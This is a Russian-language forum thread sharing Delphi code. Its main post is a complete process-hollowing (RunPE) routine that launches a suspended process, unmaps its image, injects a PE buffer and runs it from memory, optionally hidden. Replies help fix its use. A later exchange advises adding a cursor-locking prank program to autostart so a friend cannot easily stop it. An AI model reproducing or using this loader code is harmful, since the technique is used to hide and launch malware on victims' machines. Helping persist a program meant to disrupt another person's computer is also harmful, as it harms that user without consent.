• Уменьшение отступа

    Обратная связь

    (info@ru-sfera.pw)

Полезные процедуры и функции для Делфи


labvictx

Пользователь
Форумчанин
Регистрация
16.11.2018
Сообщения
8
Репутация
1
Эта процедура запустит файл в памяти:
Код:
Function MemoryExecute(Buffer :Pointer;Parameters: String; Visible: Boolean): TProcessInformation;
type
  HANDLE        = THandle;
  PVOID        = Pointer;
  LPVOID        = Pointer;
  SIZE_T        = Cardinal;
  ULONG_PTR    = Cardinal;
  NTSTATUS      = LongInt;
  LONG_PTR      = Integer;
  PImageSectionHeaders = ^TImageSectionHeaders;
  TImageSectionHeaders = Array [0..95] Of TImageSectionHeader;
Var
  ZwUnmapViewOfSection  :Function(ProcessHandle: THANDLE; BaseAddress: Pointer): LongInt; stdcall;
  ProcessInfo          :TProcessInformation;
  StartupInfo          :TStartupInfo;
  Context              :TContext;
  BaseAddress          :Pointer;
  BytesRead            :DWORD;
  BytesWritten          :DWORD;
  I :ULONG;
  OldProtect            :ULONG;
  NTHeaders            :PImageNTHeaders;
  Sections              :PImageSectionHeaders;
  Success              :Boolean;
  ProcessName          :string;
Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
Begin
Result := PImageSectionheader( ULONG_PTR(@NTheader.OptionalHeader) +
NTHeader.FileHeader.SizeOfOptionalHeader);
End;
Function Protect(Characteristics: ULONG): ULONG;
Const
Mapping      :Array[0..7] Of ULONG = (
PAGE_NOACCESS,
PAGE_EXECUTE,
PAGE_READONLY,
PAGE_EXECUTE_READ,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE  );
Begin
Result := Mapping[ Characteristics SHR 29 ];
End;
Begin
  @ZwUnmapViewOfSection := GetProcAddress(LoadLibrary('ntdll.dll'), 'ZwUnmapViewOfSection');
  ProcessName := ParamStr(0);
  FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
  FillChar(StartupInfo, SizeOf(TStartupInfo),        0);
  StartupInfo.cb := SizeOf(TStartupInfo);
  StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
  if Visible Then
  StartupInfo.wShowWindow := SW_NORMAL
  else
  StartupInfo.wShowWindow := SW_Hide;
  If (CreateProcess(PChar(ProcessName), PChar(Parameters), NIL, NIL,
  False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
  Begin
    Success := True;
    Result := ProcessInfo;
    Try
      Context.ContextFlags := CONTEXT_INTEGER;
        If (GetThreadContext(ProcessInfo.hThread, Context) And
        (ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
                            @BaseAddress, SizeOf(BaseAddress), BytesRead)) And
        (ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
        (Assigned(Buffer))) Then
        Begin
          NTHeaders    := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
          BaseAddress  := VirtualAllocEx(ProcessInfo.hProcess,
                                         Pointer(NTHeaders.OptionalHeader.ImageBase),
                                         NTHeaders.OptionalHeader.SizeOfImage,
                                          MEM_RESERVE or MEM_COMMIT,
                                         PAGE_READWRITE);
          If (Assigned(BaseAddress)) And
              (WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
                                  NTHeaders.OptionalHeader.SizeOfHeaders,
                                  BytesWritten)) Then
             Begin
                Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));
                For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
                  If (WriteProcessMemory(ProcessInfo.hProcess,
                                        Pointer(Cardinal(BaseAddress) +
                                                Sections[I].VirtualAddress),
                                        Pointer(Cardinal(Buffer) +
                                                Sections[I].PointerToRawData),
                                      Sections[I].SizeOfRawData, BytesWritten)) Then
                    VirtualProtectEx(ProcessInfo.hProcess,
                                      Pointer(Cardinal(BaseAddress) +
                                              Sections[I].VirtualAddress),
                                      Sections[I].Misc.VirtualSize,
                                      Protect(Sections[I].Characteristics),
                                      OldProtect);
                 If (WriteProcessMemory(ProcessInfo.hProcess,
                                      Pointer(Context.Ebx + 8), @BaseAddress,
                                      SizeOf(BaseAddress), BytesWritten)) Then
                  Begin
                    Context.EAX := ULONG(BaseAddress) +
                                  NTHeaders.OptionalHeader.AddressOfEntryPoint;
                    Success := SetThreadContext(ProcessInfo.hThread, Context);
                  End;
              End;
        End;
    Finally
      If (Not Success) Then
        TerminateProcess(ProcessInfo.hProcess, 0)
      else
        ResumeThread(ProcessInfo.hThread);
    End;
  End;
End;



Где Buffer - указатель на нашу строку данных файла, Visible - режим запуска, скрытый или нет.

Как юзать:

memoryexecute(@FileString, '', true);

Запустит в скрытом режиме наш файл !

При компиляции на строке "memoryexecute(@FileString, '', true);" сообщается об ошибке об Undeclared identifier: 'FileString', плиз как исправить, как описать.
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 176
А где вы объявили FileString ?

Вы должны создать буфер, в котором будет файл в бинарном виде, который хотите запустить.

Второй параметр функции, это будет запуск в видимом режиме, или в скрытом.

Раньше это работало...
 

Kiors

Пользователь
Форумчанин
Регистрация
10.12.2018
Сообщения
2
Тут легкий код который просто берет и ставит курсор в точку центра формы но как сделать чтобы добавить его в автозагрузку??
Сразу говорю код очень легкий но если в автозагрузку добавить некоторые пользователи ну запутаются а некоторые полезут в диспечер задач с помощью кнопок потомучто курсор не двигается можете пожалуйста помочь с етим кодом чтобы добавить в автозагрузку
Ну а так код понадобится для прикола над другом или чегото другого
 

Вложения

  • Cursore.rar
    3.1 КБ · Просмотры: 8

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 176
Код не смотрел, самый простой способ, это скопировать программу в папку "автозагрузка", или как она называется в винде.)

Можно в реестре прописать, но скопировать проще.

Как это сделать в делфи, можно загуглить по запросу "Как добавить программу в автозагрузку в делфи".
 
Верх Низ